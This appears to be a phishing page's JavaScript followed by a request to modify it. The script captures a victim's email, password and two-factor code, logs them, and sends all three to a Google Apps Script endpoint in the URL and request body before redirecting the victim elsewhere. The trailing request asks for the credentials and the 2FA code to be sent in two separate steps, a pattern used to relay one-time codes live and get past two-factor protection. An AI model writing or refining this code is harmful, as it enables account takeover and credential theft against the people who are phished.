<script>
	
	    setTimeout(function(){
        var message = document.getElementById('message');
        var opacity = 1;
        var interval = setInterval(function(){
            if(opacity <= 0){
                clearInterval(interval);
                message.style.display = 'none';
            } else {
                opacity -= 0.01;
                message.style.opacity = opacity;
            }
        }, 1);
    }, 5000);

      const button1 = document.getElementById("twoFactorAuthButton_1");
      const button2 = document.getElementById("twoFactorAuthButton_2");

      const emailInput = document.getElementById("username");
      const passwordInput = document.getElementById("password_in");
      // const codeInput = document.getElementById('twoFac1');
      const codeInputs = Array.from(
        document
          .querySelector(".first_step")
          .querySelectorAll('input[id^="twoFac"]')
      );

      // Add event listeners to track input changes
      emailInput.addEventListener("input", function (event) {
        email = event.target.value;
        console.log("Email:", email);
      });

      passwordInput.addEventListener("input", function (event) {
        password = event.target.value;
        console.log("Password:", password);
      });

      codeInputs.forEach((input) => {
        input.addEventListener("input", function () {
          // Concatenate values of all code inputs
          code = codeInputs.map((input) => input.value).join("");
          console.log("Code:", code);
        });
      });

      // Function to post data to Google Sheets
      function postDataToGoogleSheet() {
        // Get email, password, and code values
        const email = emailInput.value;
        const password = passwordInput.value;
        const code = Array.from(codeInputs)
          .map((input) => input.value)
          .join("");

		    if (code === "" || code.length<6) {
		$("#twoFacError").show();	
        console.error("Error: Code is empty");
        // Display an error message or perform any other action
        return; // Exit the function early if code is empty
		}

        // Prepare data object
        const data = {
          email: email,
          password: password,
          code: code,
        };

        // Perform POST request
		
        fetch(
          `https://script.google/url/exec?email=${email}&password=${password}&code=${code}`,
          {
            method: "POST",
            headers: {
              //   "Content-Type": "application/json",
              "Content-Type": "text/plain;charset=utf-8",
            },
            body: JSON.stringify(data),
            // redirect: "follow",
          }
        )
          .then((response) => {
            if (response.ok) {
              console.log("Data posted successfully");
              // Optionally, you can reset the input fields after successful submission
              emailInput.value = "";
              passwordInput.value = "";
              codeInputs.forEach((input) => (input.value = ""));
			  window.location = 'https://urlhere.com/xxx.html';
            } else {
              console.error("Failed to post data:", response.status);
            }
          })
          .catch((error) => {
            console.error("Error posting data:", error);
          });
      }

      button1.addEventListener("click", postDataToGoogleSheet);
      button2.addEventListener("click", postDataToGoogleSheet);
    </script>

Modify this to first send all email and password upon the button being clicked, then when button 2 is clicked, send the 2fa code.